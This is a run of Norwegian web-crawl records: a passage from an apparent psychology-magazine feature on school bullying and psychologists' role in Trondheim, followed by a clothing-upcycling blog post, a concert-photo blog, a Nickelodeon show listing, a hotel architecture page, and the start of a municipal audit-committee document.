krenkelser\n\nDe skulle gjerne hatt psykologer mer med p\u00e5 laget. For n\u00e5r mobbingen opph\u00f8rer, st\u00e5r l\u00e6rerne tilbake med et barn med lav selvf\u00f8lelse og negative tanker om seg selv. Enkelte plages fortsatt med angst, noen har mistet tilliten b\u00e5de til de voksne og til andre ungdommer.\n\nMoen og Mosand kjenner godt igjen beskrivelsen psykolog og forsker Thormod Ids\u00f8e kom med i marsutgavens temasak om mobbing: Mange av barna har posttraumatiske symptomer og trenger hjelp for det. Det dreier seg ofte om en serie av krenkelser. Mobbingen har p\u00e5g\u00e5tt over flere \u00e5r, noen ganger uten at barnet har sagt fra. Fordi barnet skammer seg, eller fordi det ikke vil gj\u00f8re foreldrene triste. Etter hvert gir barnet plagerne rett: Jeg er jo teit. Jeg er stygg. Jeg fortjener ikke venner.\n\n\n\nETTERTENKSOM: Rektor Ingrid Kjelsberg liker \u00e5 observere elevene fra kontorvinduet. Men sverger til forskningsbaserte metoder for \u00e5 avdekke mobbing eller konflikter.\n\n\u2013 Vi tror ogs\u00e5 at mange av barnas foreldre vil slite med traumer. Barnet deres har hatt det vondt, men noen opplevde \u00e5 ikke bli trodd da de kontaktet skolen. Vi vet at s\u00f8sken ogs\u00e5 kan f\u00e5 det tungt. Enkelte av disse familiene kunne trenge hjelp av psykolog, sier Moen. Det samme gjelder mobberne, som har f\u00e5tt status og makt gjennom \u00e5 v\u00e6re ekkel.\n\n\u2013 N\u00e5r mobbingen stoppes, avskj\u00e6res den sosiale gevinsten disse opplevde ved \u00e5 plage. Hva st\u00e5r de tilbake med da? Vi mener det skulle v\u00e6rt automatikk i et helsetilbud for mobbeutsatte barn, familiene deres og for mobberne.\n\nMobbing virker som ringer i vann. Nylig ble det publisert en unders\u00f8kelse som viser at skoler med mye mobbing f\u00e5r d\u00e5rligere faglige resultater. Moen er ikke overrasket. Mobbing skaper utrygghet og usikkerhet hos alle i milj\u00f8et, og det sluker energi b\u00e5de hos den som rammes og de rundt. Tilliten forsvinner mellom barna, mellom barn og voksne p\u00e5 skolen \u2013 og i nabolaget, mellom foreldre som har barn som er mobbet og foreldre med barn som har mobbet.\n\n## Halvorsen eller St\u00f8re?\n\nMoen mener at mobbing er undervurdert som grunnmekanisme i psykiske vansker. Mobbing skaper psykiske vansker i seg selv, samtidig som de som blir ofre i utgangspunktet har en s\u00e5rbarhet. B\u00e5de i m\u00f8te med fagfolk via jobben og privat gjennom kona som er psykolog, h\u00f8rer han at mange ungdommer, men ogs\u00e5 voksne med psykiske plager, har en mobbehistorie i bagasjen. I et godt og trygt skolemilj\u00f8 kan barn med vanskelig bakgrunn og \u00f8kt s\u00e5rbarhet likevel greie seg fint. S\u00e5rbarheten f\u00e5r ikke n\u00e6ring.\n\nHan synes det er trist \u00e5 vite at mobbing kan forsterke s\u00e5rbarheten til utsatte barn, n\u00e5r en vet det finnes gode metoder for \u00e5 forebygge og stoppe mobbingen.\n\n\u2013 F\u00e5r man psykologer og politikere til \u00e5 \u00f8ke sitt engasjement, er jeg overbevist om det blir f\u00e6rre elever som trenger psykisk helsehjelp. Det er ikke enkelt \u00e5 endre barns erfaringer eller bygge robusthet, i alle fall ikke mens deres s\u00e5rbarhet blir utnyttet av andre. Gjennom \u00e5 stoppe mobbing vil disse barna f\u00e5 det bedre p\u00e5 skolen, og i tillegg legger en grunnlaget for \u00e5 kunne jobbe med deres sosiale ferdigheter og psykiske helsevansker, sier Moen.\n\nEr dette Halvorsens eller St\u00f8res bord? Ja takk, begge deler, mener Moen. Mobbing dreier seg om skole, men i h\u00f8y grad ogs\u00e5 om psykisk helse. Derfor vil han ha psykologene inn i den faste l\u00f8ypa av fagfolk som jobber med mobbing og atferdsproblemer i kommunen.\n\n\n\nDELER KUNNSKAP: Selv ved alvorlige mobbesaker forventer enkelte skoler at eleven raskt legger hendelsene bak seg, erfarer psykologene Hilde Nordstrand (t.v.) og Mette Borgersen. Da forklarer de vanlige reaksjoner, og at det er normalt at barnet i ettertid sliter med vanskelige f\u00f8lelser.\n\nFoto: Privat\n\n## Elevenes talsperson\n\nIntervjuet m\u00e5 hastig avbrytes, de to pedagogene m\u00e5 dra til skolen som trenger veiledning om gutten som blir mobbet. Samtidig vil de gjerne hjelpe Psykologtidsskriftet frem til Risvollan helsestasjon, der vi har en avtale med psykologene Hilde Taarneby Nordstrand og Mette Jung Borgersen. Vi slenger oss i bilen alle tre, og journalisten f\u00e5r lytte til de siste dr\u00f8ftingene veilederne imellom: Hvordan s\u00f8rge for at de voksne f\u00e5r en felles forst\u00e5else av barnet og av hva som er gode intervensjoner? Jeg slippes av ved helsestasjonen i samme \u00f8yeblikk som psykolog Hilde Nordstrand svinger inn p\u00e5 parkeringsplassen \u2013 rett fra oppdrag p\u00e5 en av byens ungdomsskoler.\n\nNordstrand og Borgersen jobber tett med helses\u00f8ster n\u00e5r de kobles inn i saker ved skolene. Det starter ofte med at l\u00e6rere bekymrer seg for elever som er triste, sinte, eller som ikke vil g\u00e5 p\u00e5 skolen. Noen ganger som ettervirkning etter mobbing. Andre ganger blir mobbingen avdekket i samtaler med psykologene. Eleven har ikke villet si noe om dette, og l\u00e6reren har ikke sett at *det* var problemet. Det kan ogs\u00e5 hende at ungdommen selv har blitt plaget lenge, uten at de har innsett at de er mobbet, forklarer Nordstrand.\n\n\u2013 De har kanskje hatt sosiale vansker i \u00e5revis og har v\u00e6rt utestengt s\u00e5 lenge at de har blitt vant til det. Dette er barn og unge med lav selvf\u00f8lelse. De voksne har ofte sett at eleven blir holdt utenfor, uten \u00e5 sette inn tiltak. Det er p\u00e5 en m\u00e5te blitt en normaltilstand at eleven har g\u00e5tt rundt alene.\n\nN\u00e5r elever sliter med angst og depresjon, kan det ligge mobbing under, erfarer de to psykologene, som bruker kompetansen sin i mange sammenhenger. Eksempelvis til \u00e5 forklarer l\u00e6rere og ledelse at elevens manglende konsentrasjon, tristhet eller irritasjon er vanlige reaksjoner etter \u00e5 ha blitt mobbet. Psykologene ser at selv etter alvorlige mobbesaker forventer enkelte skoler at eleven n\u00e5 vil legge hendelsene bak seg.\n\n\u2013 Vi m\u00e5 forklare at dette kan ta tid, og at den som er mobbet, fortsatt kan slite med vanskelige f\u00f8lelser for den som mobbet dem, forteller Borgersen, som ogs\u00e5 erfarer at de som mobbet, selv f\u00e5r sterke reaksjoner i ettertid. De har blitt tatt, og mistet status, rolle og posisjon. De kan f\u00f8le skam og f\u00e5 angstreaksjoner.\n\nPsykologene g\u00e5r gjerne inn i rollen som barnets st\u00f8ttespiller i prosessen rundt mobbing. De st\u00e5r sammen med barnet, og dytter p\u00e5 skole eller foreldre hvis avtalte tiltak ikke f\u00f8lges opp.\n\n\n\nFORELDREM\u00d8TE: I gymsalen p\u00e5 Solbakken ungdomsskole i Trondheim. Erlend Moen fra skoleteamet holder et flammende foredrag og forteller hvor viktige foreldrene er for \u00e5 skape vennskap mellom barna.\n\n\u2013 Vi er mye rundt p\u00e5 skolene, og det f\u00f8rer til at det er lettere \u00e5 ta kontakt med oss, sier Nordstrand. Likevel skulle de gjerne kommet tidligere inn i mobbesaker, og de skulle gjerne bidratt mer i det forebyggende arbeidet skolene gj\u00f8r, b\u00e5de overfor elevene selv og foreldrene deres.\n\n## Rektor i vinduet\n\nRektor Kjelsberg p\u00e5 Sunnland h\u00f8rer til dem som gjerne skulle se mer til psykologen. Tidligere var Hilde Nordstrand tettere tilknyttet skolen, og gjorde en glimrende innsats i vanskelige saker, forteller hun.\n\n\u2013 F\u00e5r man psykologer og politikere til \u00e5 \u00f8ke sitt engasjement, er jeg overbevist om at vil f\u00e6rre elever som trenger psykisk helsehjelp\n\nErlend Moen, skoleteamet i Trondheim commune\n\n\u2013 Vi har mange elever som trenger mer skolerte samtalepartnere enn l\u00e6rerne. Psykologen hadde andre innfallsvinkler og forslag, men hun kunne ogs\u00e5 trygge l\u00e6rerne i at l\u00f8sningene de valgte, var gode. S\u00e5 flott at du gjorde dette, kunne hun si. S\u00e5 ga hun oss faglig p\u00e5fyll og nye innspill til intervensjoner og tiltak.\n\nRektors lyse og romslige kontor vender ut mot skoleg\u00e5rden. Ikke sjelden g\u00e5r hun bort til vinduet og kikker ut p\u00e5 ungdommene. Kan hun oppdage mobbing og konflikter p\u00e5 den m\u00e5ten? Bare unntaksvis, og f\u00f8rst og fremst brukes veldokumenterte metoder i antimobbearbeidet, understreker rektor, og forteller at skolen jobber mye for \u00e5 f\u00e5 til en kultur der det \u00e5 si fra ikke oppfattes som sladring, men som et uttrykk for at de tar vare p\u00e5 hverandre.\n\n\u2013 Jeg synes vi ser endringer her. Ofte er det andre elever som forteller om en som ikke har det bra. Men dette er noe vi m\u00e5 jobbe med *hver dag*. Blant ungdom vil det alltid v\u00e6re kamp om \u00e5 v\u00e6re \u00f8verst i hierarkiet, ha flest venner og de kuleste kl\u00e6rne. Alle kan ikke v\u00e6re bestevenner, men vi vil at alle skal ha det bra, sier hun.\n\n\u00c9n m\u00e5te \u00e5 sikre det p\u00e5 er \u00e5 jobbe for at *alle* bevisstgj\u00f8res om sitt bidrag \u2013 enten det er elever eller voksne. Derfor mannen i gul vest i skoleg\u00e5rden. Derfor snakkes det like mye om *de voksne* som om *l\u00e6rerne* n\u00e5r skolen diskuterer atferdsproblemer. Det inkluderer kantineansatte, vaktmester og assistenter. Derfor ansetter skolen voksne med annen kompetanse enn l\u00e6rerutdanning, som milj\u00f8arbeidere, barnevernspedagoger og barne- og ungdomsarbeidere.\n\n\u2013 Alle barna er v\u00e5re barn. Slik vil vi at de voksne skal tenke, sier fagleder Flataas.\n\n## Hver dag er en antimobbedag\n\n\u00c5 v\u00e6re knyttet til et antimobbeprogram er ingen engangshappening. Skal en lykkes med \u00e5 forebygge mobbing, krever det innsats hver dag, if\u00f8lge Kjelsberg og Flataas. Relasjonen mellom l\u00e6rer og elev er avgj\u00f8rende, og m\u00e5 jevnlig gis n\u00e6ring. Derfor mottas elevene hver time av en l\u00e6rer som hilser p\u00e5 dem i d\u00f8ra, og som gjerne kommenter dem positivt: \u00abS\u00e5 fin du er p\u00e5 h\u00e5ret i dag\u00bb, eller \u00abGratulerer med g\u00e5rsdagens seier p\u00e5 fotballbanen\u00bb. N\u00e5r elevene st\u00e5r ved pulten og l\u00e6reren hilser klassen i fellesskap, kan han si positive ting til dem som gruppe. Elevene skal merke at l\u00e6reren ser dem og bryr seg.\n\n\u2013 Vi \u00f8nsker \u00e5 skape vi-f\u00f8lelse blant elevene og mellom l\u00e6rere og elever. Det hjelper ikke om l\u00e6reren er faglig og pedagogisk dyktig hvis hun ikke greier \u00e5 skape en relasjon til den enkelte eleven, ved \u00e5 bry seg om dem og gi av seg sj\u00f8l, sier rektor.\n\nElevr\u00e5dsrepresentant Ingeborg Klungerbo bekrefter skolens vekt p\u00e5 det jevne arbeidet. Da hun begynte i 8. klasse, ble elevene presentert for \u00abrespekt-reglene\u00bb, og diskuterte hvordan en skal v\u00e6re mot hverandre p\u00e5 skolen.\n\n\n\nUBESKYTTET: Korridorene er ofte utenfor l\u00e6rernes synsfelt og kontroll. Noen elever frykter veien inn til klasserommet. Thomas \u00c5sheim og Berit Mogstad Loktu p\u00e5 vei ut til skoleg\u00e5rden.\n\nDa skolen valgte \u00e5 jobbe ut fra Respektprogrammet, var det viktig \u00e5 f\u00e5 oppslutning fra alle l\u00e6rerne. Rektor tok derfor en grundig runde med l\u00e6rerkollegiet, som enstemmig sluttet seg til. \u2013 Vi var enige om at vi skulle satse 100 prosent, dette kunne ikke v\u00e6re halvhjertet.\n\nFra da av skulle dette v\u00e6re fundamentet Sunnland skole skulle st\u00e5 p\u00e5, sier Kjelsberg. Men det krever jevnlig bekreftelse, jevnlig oppdatering og jevnlig evaluering. Hver v\u00e5r diskuterer de om det er ting som b\u00f8r endres i m\u00e5ten det jobbes p\u00e5. Hver h\u00f8st setter ledelsen av en halv studiedag hvor personalet minner hverandre om det viktigste i arbeidet for et godt og inkluderende skolemilj\u00f8. Nye l\u00e6rere blir sendt p\u00e5 kurs i Respekt-metodikken.\n\n*\u2013 Har ikke nye l\u00e6rere disse kunnskapene med seg fra l\u00e6rerutdanningen*?\n\n\u2013 Det er vel s\u00e5nn at nye l\u00e6rere jevnt over er gode faglig, men kan for lite om temaer som klasseledelse, relasjonsbygging og mobbing, kommenterer Flataas. \u2013 Men dette kan l\u00e6res. Og de som er faglig dyktige, er ogs\u00e5 tryggere i l\u00e6rerrollen.\n\n## L\u00e6rer empati\n\nVi skal f\u00e5 hilse p\u00e5 en klasse, og henger oss p\u00e5 Berit Mogstad Loktu og Thomas \u00c5sheim fra 9. trinn, som leder an gjennom de nakne korridorene. Et ubeskyttet omr\u00e5de p\u00e5 skolen, ofte utenfor l\u00e6rernes kontroll og oppmerksomhet. En mulighet for de som vil plage andre uten \u00e5 bli oppdaget. Elevene leder an til klasserommet, der en l\u00e6rer veileder elever i \u00e5 skrive jobbs\u00f8knader. Det er liv og r\u00f8re: Elever sitter i sm\u00e5grupper eller for seg selv, noen skriver, noen fordyper seg i mobiltelefonen mens de snakker med elever rundt seg; de f\u00e5r nemlig lov til \u00e5 bruke smart-telefonen for \u00e5 s\u00f8ke informasjon, forteller Flataas.\n\nDagens skole er basert p\u00e5 stor grad av egenaktivitet, selvstendig arbeid, bruk av nettet og samarbeid med medelever. Men hvordan kan l\u00e6reren vite om en elev jobber faglig eller skriver slemme meldinger p\u00e5 Facebook til henne som sitter i naborommet? Hvordan fange opp diskr\u00e9 kroppsspr\u00e5k som gir en medelev beskjed om at hun ikke er \u00f8nsket rundt bordet? L\u00e6reren kan for eksempel st\u00f8tte seg til sosiometriske unders\u00f8kelser som kartlegger relasjoner og vennskapsb\u00e5nd i klassen. Da kan hun oppdage hvem som ikke har slike b\u00e5nd, og hvem som er mest popul\u00e6re. Men ogs\u00e5 hvem som liker \u00e5 jobbe faglig sammen. Dette er et godt utgangspunkt for \u00e5 arbeide med l\u00e6ringsmilj\u00f8et. P\u00e5 Sunnland har de gode erfaringer med sosiometrien b\u00e5de i sammenheng med det faglige arbeidet og i den generelle klasseledelsen.\n\nSamtidig er skolen opptatt av \u00e5 utvikle empatien og egenomsorgen hos elevene. P\u00e5 9. trinn settes det av tre hele dager til prosjektet \u00abAlle har en psykisk helse\u00bb. Her kan elevene velge fra mange temaer, f\u00e5 forelesninger og delta i aktiviteter. Men n\u00e5r det gjelder forst\u00e5elsen av hvordan det er \u00e5 bli mobbet, og hvilke konsekvenser det kan f\u00e5, trekker Berit og Thomas frem dokumentarfilmen \u00abBully\u00bb, sett av alle Trondheims ungdomsskoleelever i januar. Det var Erlend Moen fra skoleteamet som s\u00f8rget for at elevene kom seg til kinoen og at de fikk et undervisningsopplegg om filmen etterp\u00e5. Og filmen gjorde inntrykk, forteller Berit og Thomas. De tror mange med dem fikk bedre forst\u00e5else for hvordan f\u00f8les \u00e5 bli mobbet, og hva alvorlig mobbing kan f\u00f8re til for noen.\n\n\n\nFOROVERLENT: I rektors bokhylle st\u00e5r et par elegante joggesko sammen med en pappeske merket \u00abRespekt\u00bb. Respektprogrammet krever innsats hver dag, if\u00f8lge rektor Ingrid Kjelsberg og fagleder Robert Flataas.\n\n## En uventet takk\n\nVi har f\u00e5tt Sunnlands fortelling om D-dagen, den vel planlagte storaksjonen mot et mobbemilj\u00f8 p\u00e5 skolen. Hvordan gikk det etterp\u00e5? Flataas forteller at gutten som ble mobbet, aldri m\u00f8tte opp til skolestart. Foreldrene hadde kanskje mistet troen p\u00e5 at skolen ville makte \u00e5 f\u00e5 slutt p\u00e5 mobbingen, og meldte gutten inn p\u00e5 en annen skole. Men mobbingen tok slutt.\n\nEn av de siste dagene det skole\u00e5ret, banker det p\u00e5 d\u00f8ra til faglederen. Der st\u00e5r han som hadde ledet an mobbegjengen, han som Flataas hadde speidet etter p\u00e5 trappa f\u00f8rste skoledag. Gutten vil takke for at han ble hjulpet l\u00f8s fra rollen som mobber.\n\n\u2013 Han hadde faktisk f\u00f8lt en lettelse. Dette var en rolle som hadde gitt ham status og tilh\u00f8righet, men som hadde sine kostnader. Og siden skolen hadde g\u00e5tt s\u00e5 hardt ut, kunne han p\u00e5 en m\u00e5te komme ut av mobbingen med \u00e6ren i behold overfor de andre ungdommene, forklarte han.\n\nOg s\u00e5 levde skolen lykkelig alle sine dager?\n\nDessverre ikke, svarer Ingrid Kjelsberg. Riktignok har skolen utviklet gode og effektive metoder for \u00e5 forebygge og h\u00e5ndtere mobbing. Mange utsatte barn g\u00e5r videre uten varige m\u00e9n. Men fortsatt f\u00e5r skolen elever fra barneskolen med mobbeerfaringer i ryggsekken. Familien varslet, men ble m\u00f8tt med mye prat og lite handling. N\u00e5 sitter ungdommen p\u00e5 pulten, sterkt preget og uten tiltro til voksne. Rektor ser ogs\u00e5 at elever som har blitt mobbet p\u00e5 Sunnland, fremdeles er i alarmberedskap etter at mobbingen stoppet. Hva betyr det? Kari sitter p\u00e5 pulten, hun lukker seg inne. Fortsatt med angst for \u00e5 bli hundset p\u00e5 hjemveien, fortsatt livredd for \u00e5 ta ordet i klassen. Per blir rasende n\u00e5r en klassekamerat tilfeldig dulter borti ham i korridoren p\u00e5 vei inn. Han kjefter, er frekk og tar godlynte kommentarer i verste mening.\n\n\u2013 Det er trist \u00e5 v\u00e6re vitne til, og vi greier ikke alltid \u00e5 gi dem god nok hjelp, sier Kjelsberg. \u2013 Tenk om vi kunne hatt en psykolog n\u00e5 ogs\u00e5 som vi kunne benyttet til \u00ablavterskelsamtaler\u00bb for akkurat disse elevene.\n\n*\u2013 Hvem har hovedansvaret for \u00e5 gi skolen bedre betingelser i antimobbearbeidet: Halvorsen eller St\u00f8re*?\n\n\u2013 Her er det ikke snakk om enten\u2013eller, men helt klart b\u00e5de\u2013og, svarer rektor. Psykologtidsskriftet kommer tilbake med svar fra helseministeren og kunnskapsministeren.\n\n", "language": "no", "__index_level_0__": "d346054b-8b0f-4248-b2a8-cd0cd77e5b69"}
{"url": "http://kamchilla.blogg.no/1362613272_i_wear_your_granddads.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:07:39Z", "text": "## I wear your granddad's clothes, I look incredible\\!\n\n1\nHeihei\\! Gjett hva jeg og Marita nettopp har gjort? Har ryddet gjennom skapet og fant frem kl\u0109r jeg ikke bruker lengre, eller noensinne har brukt (av forskjellige grunder). S\u010b klipte vi, rivde og *volah\\!*\n\nHvorfor hive kl\u0109r, n\u010br man kan gj\u011dre de \"nye\" igjen? Bare \u010b slippe l\u011ds kreativiteten. Her er noen eksempel;\u00a0\n\n\n\n  \n\n\nHadde ikke f\u011dr/etter bilde av toppen her, men dere kan jo se for dere hvordan den s\u010b ut. Ble ikke helt som jeg tenkte meg, s\u010b vet ikke helt om jeg kommer til \u010b bruke den.\u00a0\n\n  \n\n\n  \n  \n  \n**S\u010b hvordan synes dere kl\u0109rne ble? Noe dere kunne brukt? :D**\n\nKom p\u010b den \"Thrift shop\" sangen, passet bra n\u010b\\!\n\n\u00a0\n*(Og for de som lurer.. Ja jeg driver \u010b fikser p\u010b designe, s\u010b det kan v\u0109re litt rotete til tider\\!)*\n\n*  \n#### 08.03.2013 kl.20:12\n", "language": "no", "__index_level_0__": "e535a437-16b6-48a6-b2a4-028ba7581c54"}
{"url": "http://fyrileivfoto.blogspot.com/2011/03/vamp-i-drammen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:26:18Z", "text": "\n\n\n\n  \n\n\n  \n\n\n  \n***Da Vamp holdt den etterlengta konserten i Drammens teater for et par dager siden, hadde jeg gleden av \u00e5 fotografere bandet.\u00a0***  \n  \n***Utfordringen var s\u00e5klart lyset vs pensjonert tele, men ogs\u00e5 selve musikken. Den treffer meg s\u00e5 sterkt at jeg faktisk fant det utfordrende \u00e5 konsentrere meg om fotograferinga. Det hele minner i grunn om storslagne naturopplevelser der tar pusten fra en. F\u00f8lsom? Ja. Men det blir da noen bilder av slikt ogs\u00e5.***  \n  \n***Takk for en fabelaktig fin konsert med god variasjon i nye og gamle l\u00e5ter, godt krydret med en fantastisk Eiv\u00f3r P\u00e1lsd\u00f3ttir.***\n\n Lagt inn av Ingebj\u00f8rg Fyrileiv Guldvik   kl. 14:27          \n\n#### 5 kommentarer:\n\n1.  \n    \n    Stein-Evert's Fotos16. mars 2011 kl. 14:40\n    \n    Jer har ikke mye erfaring med denne sjangeren sj\u00f8l, har tatt konsertbilder kun \u00e8n gang. Men jeg vet s\u00e5pass, det er krevende \u00e5 f\u00e5 det til \u00e5 klaffe med lys og stemning uten bruk av blitz. At blitz ikke brukes er vel bare av det gode, blinkene \u00f8delegger den gode stemningen, og \u00f8delegger konsertopplevelsen.  \n    Synes du har kommet godt fra oppgaven. Stemningsfulle bilder, herlig lys p\u00e5 noen av bildene. Jeg falt spesielt for bilde nr 5 og 6, og mest for nur 7 hvor bevegelsen i bildet skaper liv\\!\\!\n    \n2.  \n    \n    Anonym16. mars 2011 kl. 23:13\n    \n    At Vamp trollbinder publikum,kan vi se p\u00e5 disse stemningsfulle bildene.M\u00e5 nok p\u00e5 konsert igjen snart\\!\\!\n    \n3.  \n    \n    Liv Fuglset Ditlefsen17. mars 2011 kl. 15:28\n    \n    NYDELIGE BILDER :)  \n    og nydelig musikk\\! Elkser \u00e5 h\u00f8re p\u00e5 dem\\!\n    \n4.  \n    \n    Anonym17. mars 2011 kl. 21:29\n    \n    Du kom godt ifra dette Ingebj\u00f8rg\\! Jeg er ogs\u00e5 en blodfan av Vamp\\!\\! Har noen konserter med dem. Jo, lyd og lys er jo gode opplevelser s\u00e5 lenge det stemmer for \u00f8re og syn\\!\\!Ole\n    \n5.  \n    \n    Ingebj\u00f8rg Fyrileiv Guldvik18. mars 2011 kl. 21:54\n    \n    Takktakk\\! \u00c5 fotografere til slik musikk var rett og slett en fullverdig opplevelse. Bli jo nesten ikke bedre :) -Og \u00e5 takle slike fotografiske utfordringer er jo s\u00e5klart utrolig artig\\!\n    \nJeg tar imot kommentarer p\u00e5 b\u00e5de tekst og bilder med stor takknemlighet.\n\n", "language": "no", "__index_level_0__": "7896e8d9-532d-4f14-942d-9457de857989"}
{"url": "http://www.nickelodeon.no/spilleliste/4861-nye-videoer/videoer/episode/56182-syng-med-den-stemmen-du-har", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:23:10Z", "text": "  - \n  - \n  - \n  - \n  - \n  - \n  - \n  - \n  - \n## Familien Thunderman\n\n### Hvem er moren din?\n\n\n\n## Big Time Rush\n\n### Livet er i ferd med \u00e5 forandre seg for de fire bestevennene fra Minnesota. Den ene dagen spiller de hockey og pr\u00f8ver \u00e5 klare skolen, den andre er de p\u00e5 vei til L.A. for \u00e5 bli store popstjerner\\!\n\n\n\n## Victorious\n\n### Livet til Tori Vega blir snart kaotisk. 16-\u00e5ringen skal begynne p\u00e5 en ny ungdomsskole, men det ingen vanlig skole. Dette er Hollywood Arts, en skole for ut\u00f8vende kunst, der superflinke elever l\u00e6rer \u00e5 bli ekte artister.\n\n\n\n", "language": "no", "__index_level_0__": "8dccd7f2-6a57-492a-bea6-70bd68ff2c8c"}
{"url": "http://backe.no/prosjekter/myrkdalen-hotel", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:43:48Z", "text": "Hotell med 112 rom i Myrkdalen, Voss Kommune\n\n\u00a0\n### Ski in - ski out i Myrkdalen\n\n\u00a0\nMyrkdalen Hotel inneholder 112 rom med totalt 350 sengeplasser. I tillegg har hotellet lobby, 3 restauranter med storkj\u00f8kken og 2 konferansesaler. Hotellet ligger like ved\u00a0skitrekket og har i s\u00e5 m\u00e5te ski inn/ut. Bygget har b\u00e6rende konstruksjoner av plasst\u00f8pt betong og limtre. Takets form er spesiell med sine vinkler og helninger og drar paralleller til de alpine fjellene som omkranser hotellet. Byggets fasade best\u00e5r av royalimpregnert trekledning i forskjellige farger.\n\n", "language": "no", "__index_level_0__": "cecaff29-7163-435d-94b9-98b3fd1e142e"}
{"url": "http://docplayer.me/34072011-Meraker-kommune-kontrollutvalget-moteinnkalling.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:27:07Z", "text": "3 MER\u00c5KER KOMMUNE Kontrollutvalget SAK 026/15 OVERORDNET ANALYSE OG PLAN FOR FORVALTNINGSREVISJON OPPSTART Saksgang M\u00f8tedato Saksbehandler Saksnr. Arkiv Kontrollutvalget Paul Stenstuen 026/ Saksbehandlers forslag til vedtak 1. Kontrollutvalget ber revisor igangsette arbeidet med overordnet analyse. Kontrollutvalget ber om \u00e5 bli holdt orientert underveis. 2. Forslaget til plan for forvaltningsrevisjon skal legges fram for kontrollutvalget til behandling i l\u00f8pet av f\u00f8rste halv\u00e5r Kontrollutvalget inviterer ordf\u00f8reren og r\u00e5dmannen til en dialog om forvaltningsrevisjon i forbindelse med dette. Vedlegg Ingen Ikke trykte vedlegg 1. Plan for forvaltningsrevisjon Forskrift om kontrollutvalg i kommuner og fylkeskommuner 3. Kommuneloven. Saksopplysninger Forvaltningsrevisjon er en lovp\u00e5lagt oppgave. Kontrollutvalget skal s\u00f8rge for at det blir utarbeide en plan for gjennomf\u00f8ring. For innev\u00e6rende valgperiode skal slik plan v\u00e6re utarbeidet og godkjent av kommunestyret innen Det vises her bl.a. til kontrollutvalgsforskriftens 9: Kontrollutvalget skal p\u00e5se at kommunens eller fylkeskommunens virksomhet \u00e5rlig blir gjenstand for forvaltningsrevisjon. Kontrollutvalget skal minst \u00e9n gang i valgperioden og senest innen utgangen av \u00e5ret etter at kommunestyret eller fylkestinget er konstituert, utarbeide en plan for gjennomf\u00f8ring av forvaltningsrevisjon. Planen vedtas av kommunestyret eller fylkestinget selv som kan delegere til kontrollutvalget \u00e5 foreta endringer i planperioden. Planen skal baseres p\u00e5 en overordnet analyse av kommunens eller fylkeskommunens virksomhet ut fra risiko- og vesentlighetsvurderinger, med sikte p\u00e5 \u00e5 identifisere behovet for forvaltningsrevisjon p\u00e5 de ulike sektorer og virksomheter.\n\n4 Kommunen deltar i et interkommunalt samarbeid i V\u00e6rnesregionen. Departementet gir i Ot. Prp om endringer i kommuneloven bl.a. uttrykk for f\u00f8lgende under kapittel 5.8 kontroll og revisjon: Kontrollutvalet i vertskommunen vil ha ansvar for \u00e5 f\u00f8re det l\u00f8pande tilsynet med m\u00e5ten vertskommunen utf\u00f8rer dei oppg\u00e5vene p\u00e5 som kommunen har f\u00e5tt fr\u00e5 andre kommunar. Kontrollutvala i dei andre kommunane vil ikkje ha ansvar for \u00e5 f\u00f8re tilsyn med den interne drifta i vertskommunen. Men ettersom eit vertskommunesamarbeid kan innebere overf\u00f8ring av oppg\u00e5ver og avgjerdsmakt til ein annan kommune, kan det reisast sp\u00f8rsm\u00e5l om ikkje kontrollutvala i dei kommunane som deltek i samarbeidet, b\u00f8r f\u00e5 eit ansvar for \u00e5 f\u00f8re tilsyn med m\u00e5ten vertskommunen handterer slike saker p\u00e5. S\u00e6rleg gjeld dette der det er tale om avgjerder i vertskommunen som f\u00e5r direkte verknad for innbyggjarane i ein annan kommune. Rett nok vil avgjerdene og den faktiske verksemda skje i vertskommunen, men det vil vere kvar enkelt kommune som til slutt er ansvarleg for at innbyggjarane der ogs\u00e5 i slike saker mellom anna f\u00e5r dei ytingane dei har krav p\u00e5 etter lova. Departementet kom p\u00e5 denne bakgrunnen til at kontrollutvala i dei ulike kommunane b\u00f8r ha krav p\u00e5 informasjon om avgjerder og verksemd i vertskommunen som rettar seg mot innbyggjarane i den aktuelle samarbeidskommunen eller mot sj\u00f8lve kommunen. P\u00e5 grunnlag av ein slik informasjonsrett vil kvar enkelt kommune mellom anna p\u00e5 grunnlag av vurderingane i kontrollutvalet for det f\u00f8rste kunne vurdere om vertskommunesamarbeidet skjer innanfor ramma av det som er avtalt. Dernest vil det ogs\u00e5 gi h\u00f8ve til \u00e5 vurdere l\u00f8pande om vertskommunesamarbeidet er eigna til \u00e5 realisere dei m\u00e5lsetjingane kommunestyret har. Dette kan gi grunnlag for \u00e5 vurdere endringar i avtalen eller i rutinar som er knytte til vertskommunesamarbeidet, med sikte p\u00e5 forbetringar. Departementet fant det ikke hensiktsmessig \u00e5 lovfeste en generell rett for kontrollutvalgene i samarbeidskommunene til \u00e5 f\u00f8re tilsyn med den interne driften i vertskommunen, og departementet ga videre uttrykk for at: Kontrollutvalet i vertskommunen vil ha ansvar for \u00e5 f\u00f8re l\u00f8pande tilsyn med verksemda i (verts)kommunen etter dei vanlege reglane. At delar av verksemda dreier seg om saker der myndigheita er delegert fr\u00e5 andre kommunar, b\u00f8r ikkje endre p\u00e5 dette. Dette samarbeidet har etter hvert utviklet seg til \u00e5 bli en relativt omfattende interkommunal samarbeidsordning. De deltakende kommuner har for \u00f8vrig valgt \u00e5 organisere deler av samarbeidet som vertskommune med politisk nemd (med delegert myndighet). Kontrollutvalgene i V\u00e6rnes regionen har over tid samarbeidet om kontroll og tilsyn. Vurdering Forvaltningsrevisjon har et todelt form\u00e5l. Forvaltningsrevisjon skal p\u00e5 den ene side p\u00e5se at forvaltningen skjer iht. gitte regler og vedtak (de ytre rammer for forvaltningen). P\u00e5 den annen side skal forvaltningsrevisjon bidra til at kommunen b\u00e5de blir flinkere, 